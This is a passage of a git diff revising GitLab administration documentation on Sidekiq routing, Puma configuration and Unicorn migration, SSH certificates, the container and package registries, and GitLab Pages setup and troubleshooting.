- "github_importer:github_import_refresh_import_jid",
- "github_importer:github_import_stage_finish_import",
- "github_importer:github_import_stage_import_base_data",
- "github_importer:github_import_stage_import_issues_and_diff_notes",
- "github_importer:github_import_stage_import_notes",
- "github_importer:github_import_stage_import_lfs_objects",
- "github_importer:github_import_stage_import_pull_requests",
- "github_importer:github_import_stage_import_repository"
+ "feature_category=importers",
+ "feature_category!=importers"
]
```
diff --git a/doc/administration/operations/extra_sidekiq_routing.md b/doc/administration/operations/extra_sidekiq_routing.md
index 93cf8bd4f43..80540b7ba46 100644
--- a/doc/administration/operations/extra_sidekiq_routing.md
+++ b/doc/administration/operations/extra_sidekiq_routing.md
@@ -41,7 +41,7 @@ In `/etc/gitlab/gitlab.rb`:
```ruby
sidekiq['routing_rules'] = [
# Route all non-CPU-bound workers that are high urgency to `high-urgency` queue
- ['resource_boundary!=cpu&urgency=high', 'high-urgency'],
+ ['resource_boundary!=cpu&urgency=high', 'high-urgency'],
# Route all database, gitaly and global search workers that are throttled to `throttled` queue
['feature_category=database,gitaly,global_search&urgency=throttled', 'throttled'],
# Route all workers having contact with outside work to a `network-intenstive` queue
@@ -99,7 +99,7 @@ based on a subset of worker attributes:
- `urgency` - how important it is that this queue's jobs run
quickly. Can be `high`, `low`, or `throttled`. For example, the
`authorized_projects` queue is used to refresh user permissions, and
- is high urgency.
+ is `high` urgency.
- `worker_name` - the worker name. The other attributes are typically more useful as
they are more general, but this is available in case a particular worker needs
to be selected.
diff --git a/doc/administration/operations/puma.md b/doc/administration/operations/puma.md
index fffff78b9d6..e8477eaf686 100644
--- a/doc/administration/operations/puma.md
+++ b/doc/administration/operations/puma.md
@@ -4,35 +4,102 @@ group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Switching to Puma **(FREE SELF)**
+# Puma **(FREE SELF)**
-As of GitLab 12.9, [Puma](https://github.com/puma/puma) has replaced [Unicorn](https://yhbt.net/unicorn/)
-as the default web server. From GitLab 14.0, the following run Puma:
+Puma is a simple, fast, multi-threaded, and highly concurrent HTTP 1.1 server for
+Ruby applications. It's the default GitLab web server since GitLab 13.0
+and has replaced Unicorn. From GitLab 14.0, Unicorn is no longer supported.
-- All-in-one package-based installations.
-- Helm chart-based installations.
+NOTE:
+Starting with GitLab 13.0, Puma is the default web server and Unicorn has been disabled.
+In GitLab 14.0, Unicorn was removed from the Linux package and only Puma is available.
-## Why switch to Puma?
+## Configure Puma
-Puma has a multi-thread architecture which uses less memory than a multi-process
-application server like Unicorn. On GitLab.com, we saw a 40% reduction in memory
-consumption.
+To configure Puma:
-Most Rails applications requests normally include a proportion of I/O wait time.
-During I/O wait time MRI Ruby will release the GVL (Global VM Lock) to other threads.
-Multi-threaded Puma can therefore still serve more requests than a single process.
+1. Determine suitable Puma worker and thread [settings](../../install/requirements.md#puma-settings).
+1. If you're switching from Unicorn, [convert any custom settings to Puma](#convert-unicorn-settings-to-puma).
+1. For multi-node deployments, configure the load balancer to use the
+ [readiness check](../load_balancer.md#readiness-check).
+1. Reconfigure GitLab so the above changes take effect:
+
+ ```shell
+ sudo gitlab-ctl reconfigure
+ ```
+
+For Helm-based deployments, see the
+[`webservice` chart documentation](https://docs.gitlab.com/charts/charts/gitlab/webservice/index.html).
+
+For more details about the Puma configuration, see the
+[Puma documentation](https://github.com/puma/puma#configuration).
+
+## Puma Worker Killer
+
+By default:
+
+- The [Puma Worker Killer](https://github.com/schneems/puma_worker_killer) restarts a worker if it
+ exceeds a [memory limit](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/cluster/puma_worker_killer_initializer.rb).
+- Rolling restarts of Puma workers are performed every 12 hours.
+
+To change the memory limit setting:
+
+1. Edit `/etc/gitlab/gitlab.rb`:
+
+ ```ruby
+ puma['per_worker_max_memory_mb'] = 1024
+ ```
+
+1. Reconfigure GitLab for the changes to take effect:
+
+ ```shell
+ sudo gitlab-ctl reconfigure
+ ```
+
+## Worker timeout
+
+A [timeout of 60 seconds](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/initializers/rack_timeout.rb)
+is used when Puma is enabled.
+
+NOTE:
+Unlike Unicorn, the `puma['worker_timeout']` setting does not set the maximum request duration.
-## Configuring Puma to replace Unicorn
+To change the worker timeout:
-Beginning with GitLab 13.0, Puma is the default application server. We removed support for
-Unicorn in GitLab 14.0.
+1. Edit `/etc/gitlab/gitlab.rb`:
-When switching to Puma, Unicorn server configuration
-will _not_ carry over automatically, due to differences between the two application servers. For Omnibus-based
-deployments, see [Configuring Puma Settings](https://docs.gitlab.com/omnibus/settings/puma.html#configuring-puma-settings).
-For Helm based deployments, see the [`webservice` chart documentation](https://docs.gitlab.com/charts/charts/gitlab/webservice/index.html).
+ ```ruby
+ gitlab_rails['env'] = {
+ 'GITLAB_RAILS_RACK_TIMEOUT' => 600
+ }
+ ```
-Additionally we strongly recommend that multi-node deployments [configure their load balancers to use the readiness check](../load_balancer.md#readiness-check) due to a difference between Unicorn and Puma in how they handle connections during a restart of the service.
+1. Reconfigure GitLab for the changes to take effect:
+
+ ```shell
+ sudo gitlab-ctl reconfigure
+ ```
+
+## Memory-constrained environments
+
+In a memory-constrained environment with less than 4GB of RAM available, consider disabling Puma
+[Clustered mode](https://github.com/puma/puma#clustered-mode).
+
+Configuring Puma by setting the amount of `workers` to `0` could reduce memory usage by hundreds of MB.
+For details on Puma worker and thread settings, see the [Puma requirements](../../install/requirements.md#puma-settings).
+
+Unlike in a Clustered mode, which is set up by default, only a single Puma process would serve the application.
+
+The downside of running Puma with such configuration is the reduced throughput, which could be
+considered as a fair tradeoff in a memory-constraint environment.
+
+When running Puma in Single mode, some features are not supported:
+
+- Phased restart do not work: [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/300665)
+- [Phased restart](https://gitlab.com/gitlab-org/gitlab/-/issues/300665)
+- [Puma Worker Killer](https://gitlab.com/gitlab-org/gitlab/-/issues/300664)
+
+To learn more, visit [epic 5303](https://gitlab.com/groups/gitlab-org/-/epics/5303).
## Performance caveat when using Puma with Rugged
@@ -66,3 +133,46 @@ optimal configuration:
Rugged, single-threaded Puma works the same as Unicorn.
- To force Rugged to be used with multi-threaded Puma, you can use
[feature flags](../../development/gitaly.md#legacy-rugged-code).
+
+## Convert Unicorn settings to Puma
+
+NOTE:
+Starting with GitLab 13.0, Puma is the default web server and Unicorn has been
+disabled by default. In GitLab 14.0, Unicorn was removed from the Linux package
+and only Puma is available.
+
+Puma has a multi-thread architecture which uses less memory than a multi-process
+application server like Unicorn. On GitLab.com, we saw a 40% reduction in memory
+consumption. Most Rails applications requests normally include a proportion of I/O wait time.
+
+During I/O wait time MRI Ruby releases the GVL (Global VM Lock) to other threads.
+Multi-threaded Puma can therefore still serve more requests than a single process.
+
+When switching to Puma, any Unicorn server configuration will _not_ carry over
+automatically, due to differences between the two application servers.
+
+The table below summarizes which Unicorn configuration keys correspond to those
+in Puma when using the Linux package, and which ones have no corresponding counterpart.
+
+| Unicorn | Puma |
+| ------------------------------------ | ---------------------------------- |
+| `unicorn['enable']` | `puma['enable']` |
+| `unicorn['worker_timeout']` | `puma['worker_timeout']` |
+| `unicorn['worker_processes']` | `puma['worker_processes']` |
+| n/a | `puma['ha']` |
+| n/a | `puma['min_threads']` |
+| n/a | `puma['max_threads']` |
+| `unicorn['listen']` | `puma['listen']` |
+| `unicorn['port']` | `puma['port']` |
+| `unicorn['socket']` | `puma['socket']` |
+| `unicorn['pidfile']` | `puma['pidfile']` |
+| `unicorn['tcp_nopush']` | n/a |
+| `unicorn['backlog_socket']` | n/a |
+| `unicorn['somaxconn']` | `puma['somaxconn']` |
+| n/a | `puma['state_path']` |
+| `unicorn['log_directory']` | `puma['log_directory']` |
+| `unicorn['worker_memory_limit_min']` | n/a |
+| `unicorn['worker_memory_limit_max']` | `puma['per_worker_max_memory_mb']` |
+| `unicorn['exporter_enabled']` | `puma['exporter_enabled']` |
+| `unicorn['exporter_address']` | `puma['exporter_address']` |
+| `unicorn['exporter_port']` | `puma['exporter_port']` |
diff --git a/doc/administration/operations/sidekiq_memory_killer.md b/doc/administration/operations/sidekiq_memory_killer.md
index d3019e2c580..598baa4fcc7 100644
--- a/doc/administration/operations/sidekiq_memory_killer.md
+++ b/doc/administration/operations/sidekiq_memory_killer.md
@@ -25,7 +25,7 @@ minute of delay for incoming background jobs.
Some background jobs rely on long-running external processes. To ensure these
are cleanly terminated when Sidekiq is restarted, each Sidekiq process should be
-run as a process group leader (e.g., using `chpst -P`). If using Omnibus or the
+run as a process group leader (for example, using `chpst -P`). If using Omnibus or the
`bin/background_jobs` script with `runit` installed, this is handled for you.
## Configuring the MemoryKiller
@@ -80,4 +80,4 @@ The MemoryKiller is controlled using environment variables.
If the process hard shutdown/restart is not performed by Sidekiq,
the Sidekiq process is forcefully terminated after
`Sidekiq.options[:timeout] + 2` seconds. An external supervision mechanism
- (e.g. runit) must restart Sidekiq afterwards.
+ (for example, runit) must restart Sidekiq afterwards.
diff --git a/doc/administration/operations/ssh_certificates.md b/doc/administration/operations/ssh_certificates.md
index 508d284b0bd..374eebeb773 100644
--- a/doc/administration/operations/ssh_certificates.md
+++ b/doc/administration/operations/ssh_certificates.md
@@ -41,11 +41,11 @@ uploading user SSH keys to GitLab entirely.
How to fully set up SSH certificates is outside the scope of this
document. See [OpenSSH's
`PROTOCOL.certkeys`](https://cvsweb.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/PROTOCOL.certkeys?annotate=HEAD)
-for how it works, and e.g. [RedHat's documentation about
+for how it works, for example [RedHat's documentation about
it](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-using_openssh_certificate_authentication).
We assume that you already have SSH certificates set up, and have
-added the `TrustedUserCAKeys` of your CA to your `sshd_config`, e.g.:
+added the `TrustedUserCAKeys` of your CA to your `sshd_config`, for example:
```plaintext
TrustedUserCAKeys /etc/security/mycompany_user_ca.pub
@@ -58,7 +58,7 @@ used for GitLab consider putting this in the `Match User git` section
(described below).
The SSH certificates being issued by that CA **MUST** have a "key ID"
-corresponding to that user's username on GitLab, e.g. (some output
+corresponding to that user's username on GitLab, for example (some output
omitted for brevity):
```shell
@@ -77,7 +77,7 @@ $ ssh-add -L | grep cert | ssh-keygen -L -f -
[...]
```
-Technically that's not strictly true, e.g. it could be
+Technically that's not strictly true, for example, it could be
`prod-aearnfjord` if it's a SSH certificate you'd normally log in to
servers as the `prod-aearnfjord` user, but then you must specify your
own `AuthorizedPrincipalsCommand` to do that mapping instead of using
@@ -107,13 +107,13 @@ command="/opt/gitlab/embedded/service/gitlab-shell/bin/gitlab-shell username-{KE
```
Where `{KEY_ID}` is the `%i` argument passed to the script
-(e.g. `aeanfjord`), and `{PRINCIPAL}` is the principal passed to it
-(e.g. `sshUsers`).
+(for example, `aeanfjord`), and `{PRINCIPAL}` is the principal passed to it
+(for example, `sshUsers`).
You need to customize the `sshUsers` part of that. It should be
some principal that's guaranteed to be part of the key for all users
who can log in to GitLab, or you must provide a list of principals,
-one of which is present for the user, e.g.:
+one of which is present for the user, for example:
```plaintext
[...]
@@ -131,7 +131,7 @@ principal is some "group" that's allowed to log into that
server. However with GitLab it's only used to appease OpenSSH's
requirement for it, we effectively only care about the "key ID" being
correct. Once that's extracted GitLab enforces its own ACLs for
-that user (e.g. what projects the user can access).
+that user (for example, what projects the user can access).
So it's OK to e.g. be overly generous in what you accept, since if the
user e.g. has no access to GitLab at all it just errors out with a
diff --git a/doc/administration/packages/container_registry.md b/doc/administration/packages/container_registry.md
index a6829b90f18..74483b65c4d 100644
--- a/doc/administration/packages/container_registry.md
+++ b/doc/administration/packages/container_registry.md
@@ -1025,15 +1025,15 @@ You may want to add the `-m` flag to [remove untagged manifests and unreferenced
Before diving in to the following sections, here's some basic troubleshooting:
1. Check to make sure that the system clock on your Docker client and GitLab server have
- been synchronized (e.g. via NTP).
+ been synchronized (for example, via NTP).
1. If you are using an S3-backed Registry, double check that the IAM
permissions and the S3 credentials (including region) are correct. See [the
sample IAM policy](https://docs.docker.com/registry/storage-drivers/s3/)
for more details.
-1. Check the Registry logs (e.g. `/var/log/gitlab/registry/current`) and the GitLab production logs
- for errors (e.g. `/var/log/gitlab/gitlab-rails/production.log`). You may be able to find clues
+1. Check the Registry logs (for example `/var/log/gitlab/registry/current`) and the GitLab production logs
+ for errors (for example `/var/log/gitlab/gitlab-rails/production.log`). You may be able to find clues
there.
### Using self-signed certificates with Container Registry
@@ -1359,7 +1359,7 @@ For Omnibus installations:
[image upgrade](#images-upgrade)) steps. You should [stop](https://docs.gitlab.com/omnibus/maintenance/#starting-and-stopping)
the registry service before replacing its binary and start it right after. No registry
configuration changes are required.
-
+
#### Source installations
For source installations, locate your `registry` binary and temporarily replace it with the one
@@ -1461,7 +1461,7 @@ no errors are generated by the curl commands.
#### Running the Docker daemon with a proxy
For Docker to connect through a proxy, you must start the Docker daemon with the
-proper environment variables. The easiest way is to shutdown Docker (e.g. `sudo initctl stop docker`)
+proper environment variables. The easiest way is to shutdown Docker (for example `sudo initctl stop docker`)
and then run Docker by hand. As root, run:
```shell
diff --git a/doc/administration/packages/index.md b/doc/administration/packages/index.md
index 6440fb16fc6..2c2e3fc0442 100644
--- a/doc/administration/packages/index.md
+++ b/doc/administration/packages/index.md
@@ -26,6 +26,7 @@ The Package Registry supports the following formats:
<tr><td><a href="https://docs.gitlab.com/ee/user/packages/nuget_repository/index.html">NuGet</a></td><td>12.8+</td></tr>
<tr><td><a href="https://docs.gitlab.com/ee/user/packages/pypi_repository/index.html">PyPI</a></td><td>12.10+</td></tr>
<tr><td><a href="https://docs.gitlab.com/ee/user/packages/generic_packages/index.html">Generic packages</a></td><td>13.5+</td></tr>
+<tr><td><a href="https://docs.gitlab.com/ee/user/packages/helm_repository/index.html">Helm Charts</a></td><td>14.1+</td></tr>
</table>
</div>
</div>
@@ -237,3 +238,17 @@ For installations from source:
```shell
RAILS_ENV=production sudo -u git -H bundle exec rake gitlab:packages:migrate
```
+
+You can optionally track progress and verify that all packages migrated successfully.
+
+From the [PostgreSQL console](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database)
+(`sudo gitlab-psql -d gitlabhq_production` for Omnibus GitLab), verify that `objectstg` below (where
+`file_store=2`) has the count of all packages:
+
+```shell
+gitlabhq_production=# SELECT count(*) AS total, sum(case when file_store = '1' then 1 else 0 end) AS filesystem, sum(case when file_store = '2' then 1 else 0 end) AS objectstg FROM packages_package_files;
+
+total | filesystem | objectstg
+------+------------+-----------
+ 34 | 0 | 34
+```
diff --git a/doc/administration/pages/index.md b/doc/administration/pages/index.md
index b9637f1b6f5..ea1e99524b8 100644
--- a/doc/administration/pages/index.md
+++ b/doc/administration/pages/index.md
@@ -64,7 +64,7 @@ Before proceeding with the Pages configuration, you must:
1. Configure a **wildcard DNS record**.
1. (Optional) Have a **wildcard certificate** for that domain if you decide to
serve Pages under HTTPS.
-1. (Optional but recommended) Enable [Shared runners](../../ci/runners/README.md)
+1. (Optional but recommended) Enable [Shared runners](../../ci/runners/index.md)
so that your users don't have to bring their own.
1. (Only for custom domains) Have a **secondary IP**.
@@ -215,6 +215,24 @@ NOTE:
`inplace_chroot` option might not work with the other features, such as [Pages Access Control](#access-control).
The [GitLab Pages README](https://gitlab.com/gitlab-org/gitlab-pages#caveats) has more information about caveats and workarounds.
+### Jailing mechanism disabled by default for API-based configuration
+
+Starting from GitLab 14.1 the [jailing/chroot mechanism is disabled by default](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/589).
+If you are using API-based configuration and the new [Zip storage architecture](#zip-storage)
+there is nothing you need to do.
+
+If you run into any problems, [open a new issue](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/new)
+and enable the jail again by setting the environment variable:
+
+1. Edit `/etc/gitlab/gitlab.rb`.
+1. Set the `DAEMON_ENABLE_JAIL` environment variable to `true` for GitLab Pages:
+
+ ```ruby
+ gitlab_pages['env']['DAEMON_ENABLE_JAIL'] = "true"
+ ```
+
+1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+
### Global settings
Below is a table of all configuration settings known to Pages in Omnibus GitLab,
@@ -268,8 +286,8 @@ control over how the Pages daemon runs and serves content in your environment.
| `sentry_enabled` | Enable reporting and logging with Sentry, true/false. |
| `sentry_environment` | The environment for Sentry crash reporting. |
| `status_uri` | The URL path for a status page, for example, `/@status`. |
-| `tls_max_version` | Specifies the maximum SSL/TLS version ("ssl3", "tls1.0", "tls1.1" or "tls1.2"). |
-| `tls_min_version` | Specifies the minimum SSL/TLS version ("ssl3", "tls1.0", "tls1.1" or "tls1.2"). |
+| `tls_max_version` | Specifies the maximum TLS version ("tls1.2" or "tls1.3"). |
+| `tls_min_version` | Specifies the minimum TLS version ("tls1.2" or "tls1.3"). |
| `use_http2` | Enable HTTP2 support. |
| **`gitlab_pages['env'][]`** | |
| `http_proxy` | Configure GitLab Pages to use an HTTP Proxy to mediate traffic between Pages and GitLab. Sets an environment variable `http_proxy` when starting Pages daemon. |
@@ -373,9 +391,13 @@ When adding a custom domain, users are required to prove they own it by
adding a GitLab-controlled verification code to the DNS records for that domain.
If your user base is private or otherwise trusted, you can disable the
-verification requirement. Go to **Admin Area > Settings > Preferences** and
-uncheck **Require users to prove ownership of custom domains** in the **Pages** section.
-This setting is enabled by default.
+verification requirement:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Preferences**.
+1. Expand **Pages**.
+1. Clear the **Require users to prove ownership of custom domains** checkbox.
+ This setting is enabled by default.
### Let's Encrypt integration
@@ -388,9 +410,11 @@ sites served under a custom domain.
To enable it, you must:
1. Choose an email address on which you want to receive notifications about expiring domains.
-1. Go to your instance's **Admin Area > Settings > Preferences** and expand **Pages** settings.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Preferences**.
+1. Expand **Pages**.
1. Enter the email address for receiving notifications and accept Let's Encrypt's Terms of Service as shown below.
-1. Click **Save changes**.
+1. Select **Save changes**.
![Let's Encrypt settings](img/lets_encrypt_integration_v12_1.png)
@@ -442,11 +466,12 @@ The scope to use for authentication must match the GitLab Pages OAuth applicatio
pre-existing applications must modify the GitLab Pages OAuth application. Follow these steps to do
this:
-1. Go to your instance's **Admin Area > Settings > Applications** and expand **GitLab Pages**
- settings.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Applications**.
+1. Expand **GitLab Pages**.
1. Clear the `api` scope's checkbox and select the desired scope's checkbox (for example,
`read_api`).
-1. Click **Save changes**.
+1. Select **Save changes**.
#### Disabling public access to all Pages websites
@@ -460,9 +485,11 @@ This can be useful to preserve information published with Pages websites to the
of your instance only.
To do that:
-1. Go to your instance's **Admin Area > Settings > Preferences** and expand **Pages** settings.
-1. Check the **Disable public access to Pages sites** checkbox.
-1. Click **Save changes**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Preferences**.
+1. Expand **Pages**.
+1. Select the **Disable public access to Pages sites** checkbox.
+1. Select **Save changes**.
WARNING:
For self-managed installations, all public websites remain private until they are
@@ -635,30 +662,27 @@ Follow the steps below to configure the proxy listener of GitLab Pages.
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
-## Set maximum pages size
-
-You can configure the maximum size of the unpacked archive per project in
-**Admin Area > Settings > Preferences > Pages**, in **Maximum size of pages (MB)**.
-The default is 100MB.
-
-### Override maximum pages size per project or group **(PREMIUM SELF)**
+## Override maximum pages size per project or group **(PREMIUM SELF)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16610) in GitLab 12.7.
NOTE:
-Only GitLab admin users are able to view and override the **Maximum size of Pages** setting.
+Only GitLab administrators are able to view and override the **Maximum size of Pages** setting.
To override the global maximum pages size for a specific project:
-1. Go to your project's **Settings > Pages** page.
-1. Edit the **Maximum size of pages**.
-1. Click **Save changes**.
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > Pages**.
+1. Enter a value under **Maximum size of pages** in MB.
+1. Select **Save changes**.
To override the global maximum pages size for a specific group:
-1. Go to your group's **Settings > General** page and expand **Pages**.
-1. Edit the **Maximum size of pages**.
-1. Click **Save changes**.
+1. On the top bar, select **Menu > Groups** and find your group.
+1. On the left sidebar, select **Settings > General**.
+1. Expand **Pages**.
+1. Enter a value under **Maximum size of pages** in MB.
+1. Select **Save changes**.
## Running GitLab Pages on a separate server
@@ -690,23 +714,14 @@ database encryption. Proceed with caution.
gitlab_pages['access_control'] = true
```
+1. Configure [the object storage and migrate pages data to it](#using-object-storage).
+
1. [Reconfigure the **GitLab server**](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the
changes to take effect. The `gitlab-secrets.json` file is now updated with the
new configuration.
1. Set up a new server. This becomes the **Pages server**.
-1. Create an [NFS share](../nfs.md)
- on the **Pages server** and configure this share to
- allow access from your main **GitLab server**.
- Note that the example there is more general and
- shares several sub-directories from `/home` to several `/nfs/home` mount points.
- For our Pages-specific example here, we instead share only the
- default GitLab Pages folder `/var/opt/gitlab/gitlab-rails/shared/pages`
- from the **Pages server** and we mount it to `/mnt/pages`
- on the **GitLab server**.
- Therefore, omit "Step 4" there.
-
1. On the **Pages server**, install Omnibus GitLab and modify `/etc/gitlab/gitlab.rb`
to include:
@@ -725,7 +740,7 @@ database encryption. Proceed with caution.
```
1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the **GitLab server**
- to the **Pages server**, for example via the NFS share.
+ to the **Pages server**.
```shell
# On the GitLab server
@@ -743,7 +758,6 @@ database encryption. Proceed with caution.
pages_external_url "http://<pages_server_URL>"
gitlab_pages['enable'] = false
pages_nginx['enable'] = false
- gitlab_rails['pages_path'] = "/mnt/pages"
```
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
@@ -797,7 +811,7 @@ To explicitly enable API source:
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
-Or if you want to use legacy confiration source you can:
+Or if you want to use legacy configuration source you can:
1. Add the following to your `/etc/gitlab/gitlab.rb` file:
@@ -929,7 +943,7 @@ In installations from source:
In GitLab 14.0 the underlying storage format of GitLab Pages is changing from
files stored directly in disk to a single ZIP archive per project.
-These ZIP archives can be stored either locally on disk storage or on the [object storage](#using-object-storage) if it is configured.
+These ZIP archives can be stored either locally on disk storage or on [object storage](#using-object-storage) if it is configured.
[Starting from GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/245308) ZIP archives are stored every time pages site is updated.
@@ -991,9 +1005,8 @@ to using that.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/325285) in GitLab 13.11.
-Existing Pages deployments objects (which store [ZIP archives](#zip-storage)) can similarly be
-migrated to [object storage](#using-object-storage), if
-you've been having them stored locally.
+Existing Pages deployment objects (which store [ZIP archives](#zip-storage)) can similarly be
+migrated to [object storage](#using-object-storage).
Migrate your existing Pages deployments from local storage to object storage:
@@ -1003,7 +1016,7 @@ sudo gitlab-rake gitlab:pages:deployments:migrate_to_object_storage
### Rolling Pages deployments back to local storage
-After the migration to object storage is performed, you can choose to revert your Pages deployments back to local storage:
+After the migration to object storage is performed, you can choose to move your Pages deployments back to local storage:
```shell
sudo gitlab-rake gitlab:pages:deployments:migrate_to_local
@@ -1013,7 +1026,7 @@ sudo gitlab-rake gitlab:pages:deployments:migrate_to_local
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/301159) in GitLab 13.11.
-If you use [object storage](#using-object-storage), disable local storage:
+If you use [object storage](#using-object-storage), you can disable local storage:
1. Edit `/etc/gitlab/gitlab.rb`:
@@ -1027,22 +1040,22 @@ Starting from GitLab 13.12, this setting also disables the [legacy storage](#mig
## Migrate GitLab Pages to 14.0
-In GitLab 14.0 a number of breaking changes are introduced which may require some user intervention.
+In GitLab 14.0 a number of breaking changes were introduced which may require some user intervention.
The steps below describe the best way to migrate without causing any downtime for your GitLab instance.
-If you run GitLab on a single server, then most likely you will not notice any problem after
-upgrading to GitLab 14.0, but it may be safer to follow the steps anyway.
-If you run GitLab on a single server, then most likely the upgrade process to 14.0 will go smoothly for you. Regardless, we recommend everyone follow the migration steps to ensure a successful upgrade.
+If you run GitLab on a single server, then most likely the upgrade process to 14.0 will go smoothly for you
+and you will not notice any problem after upgrading.
+Regardless, we recommend everyone follow the migration steps to ensure a successful upgrade.
If at any point you run into issues, consult the [troubleshooting section](#troubleshooting).
-To migrate GitLab Pages to GitLab 14.0:
+If your current GitLab version is lower than 13.12, then you first need to update to 13.12.
+Updating directly to 14.0 is [not supported](../../update/index.md#upgrade-paths)
+and may cause downtime for some web-sites hosted on GitLab Pages. Once you update to 13.12,
+migrate GitLab Pages to prepare them for GitLab 14.0:
-1. If your current GitLab version is lower than 13.12, then you first need to upgrade to 13.12.
-Upgrading directly to 14.0 may cause downtime for some web-sites hosted on GitLab Pages
-until you finish the following steps.
1. Set [`domain_config_source` to `gitlab`](#domain-source-configuration-before-140), which
is the default starting from GitLab 14.0. Skip this step if you're already running GitLab 14.0 or above.
-1. If you want to store your pages content in the [object storage](#using-object-storage), make sure to configure it.
+1. If you want to store your pages content in [object storage](#using-object-storage), make sure to configure it.
If you want to store the pages content locally or continue using an NFS server, skip this step.
1. [Migrate legacy storage to ZIP storage.](#migrate-legacy-storage-to-zip-storage)
1. Upgrade GitLab to 14.0.
@@ -1126,18 +1139,44 @@ open /opt/gitlab/embedded/ssl/certs/cacert.pem: no such file or directory
x509: certificate signed by unknown authority
```
-The reason for those errors is that the files `resolv.conf` and `ca-bundle.pem` are missing inside the `chroot`.
-The fix is to copy the host's `/etc/resolv.conf` and the GitLab certificate bundle inside the `chroot`:
+The reason for those errors is that the files `resolv.conf`, `/etc/hosts/`, `/etc/nsswitch.conf` and `ca-bundle.pem` are missing inside the `chroot`.
+The fix is to copy these files inside the `chroot`:
```shell
sudo mkdir -p /var/opt/gitlab/gitlab-rails/shared/pages/etc/ssl
sudo mkdir -p /var/opt/gitlab/gitlab-rails/shared/pages/opt/gitlab/embedded/ssl/certs/
-sudo cp /etc/resolv.conf /var/opt/gitlab/gitlab-rails/shared/pages/etc
+sudo cp /etc/resolv.conf /var/opt/gitlab/gitlab-rails/shared/pages/etc/
+sudo cp /etc/hosts /var/opt/gitlab/gitlab-rails/shared/pages/etc/
+sudo cp /etc/nsswitch.conf /var/opt/gitlab/gitlab-rails/shared/pages/etc/
sudo cp /opt/gitlab/embedded/ssl/certs/cacert.pem /var/opt/gitlab/gitlab-rails/shared/pages/opt/gitlab/embedded/ssl/certs/
sudo cp /opt/gitlab/embedded/ssl/certs/cacert.pem /var/opt/gitlab/gitlab-rails/shared/pages/etc/ssl/ca-bundle.pem
```
+### `unsupported protocol scheme \"\""`
+
+If you see the following error:
+
+```plaintext
+{"error":"failed to connect to internal Pages API: Get \"/api/v4/internal/pages/status\": unsupported protocol scheme \"\"","level":"warning","msg":"attempted to connect to the API","time":"2021-06-23T20:03:30Z"}
+```
+
+It means you didn't set the HTTP(S) protocol scheme in the Pages server settings.
+To fix it:
+
+1. Edit `/etc/gitlab/gitlab.rb`:
+
+ ```ruby
+ gitlab_pages['gitlab_server'] = "https://<your_pages_domain_name>"
+ gitlab_pages['internal_gitlab_server'] = "https://<your_pages_domain_name>"
+ ```
+
+1. Reconfigure GitLab:
+
+ ```shell
+ sudo gitlab-ctl reconfigure
+ ```
+
### 502 error when connecting to GitLab Pages proxy when server does not listen over IPv6
In some cases, NGINX might default to using IPv6 to connect to the GitLab Pages
@@ -1256,9 +1295,14 @@ Upgrading to an [officially supported operating system](https://about.gitlab.com
### The requested scope is invalid, malformed, or unknown
-This problem comes from the permissions of the GitLab Pages OAuth application. To fix it, go to
-**Admin > Applications > GitLab Pages** and edit the application. Under **Scopes**, ensure that the
-`api` scope is selected and save your changes.
+This problem comes from the permissions of the GitLab Pages OAuth application. To fix it:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Applications > GitLab Pages**.
+1. Edit the application.
+1. Under **Scopes**, ensure that the `api` scope is selected.
+1. Save your changes.
+
When running a [separate Pages server](#running-gitlab-pages-on-a-separate-server),
this setting needs to be configured on the main GitLab server.
@@ -1316,6 +1360,24 @@ To enable disk access:
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+### `httprange: new resource 403`
+
+If you see an error similar to:
+
+```plaintext
+{"error":"httprange: new resource 403: \"403 Forbidden\"","host":"root.pages.example.com","level":"error","msg":"vfs.Root","path":"/pages1/","time":"2021-06-10T08:45:19Z"}
+```
+
+And you run pages on the separate server syncing files via NFS, it may mean that
+the shared pages directory is mounted on a different path on the main GitLab server and the
+GitLab Pages server.
+
+In that case, it's highly recommended you to configure
+[object storage and migrate any existing pages data to it](#using-object-storage).
+
+Alternatively, you can mount the GitLab Pages shared directory to the same path on
+both servers.
+
### GitLab Pages doesn't work after upgrading to GitLab 14.0 or above
GitLab 14.0 introduces a number of changes to GitLab Pages which may require manual intervention.
@@ -1323,6 +1385,12 @@ GitLab 14.0 introduces a number of changes to GitLab Pages which may require man
1. Firstly [follow the migration guide](#migrate-gitlab-pages-to-140).
1. If it doesn't work, see [GitLab Pages logs](#how-to-see-gitlab-pages-logs), and if you see any errors there then search them on this page.
+The most common problem is when using [`inplace_chroot`](#dial-tcp-lookup-gitlabexamplecom-and-x509-certificate-signed-by-unknown-authority).
+
+NOTE:
+Starting from 14.1, the chroot/jailing mechanism is
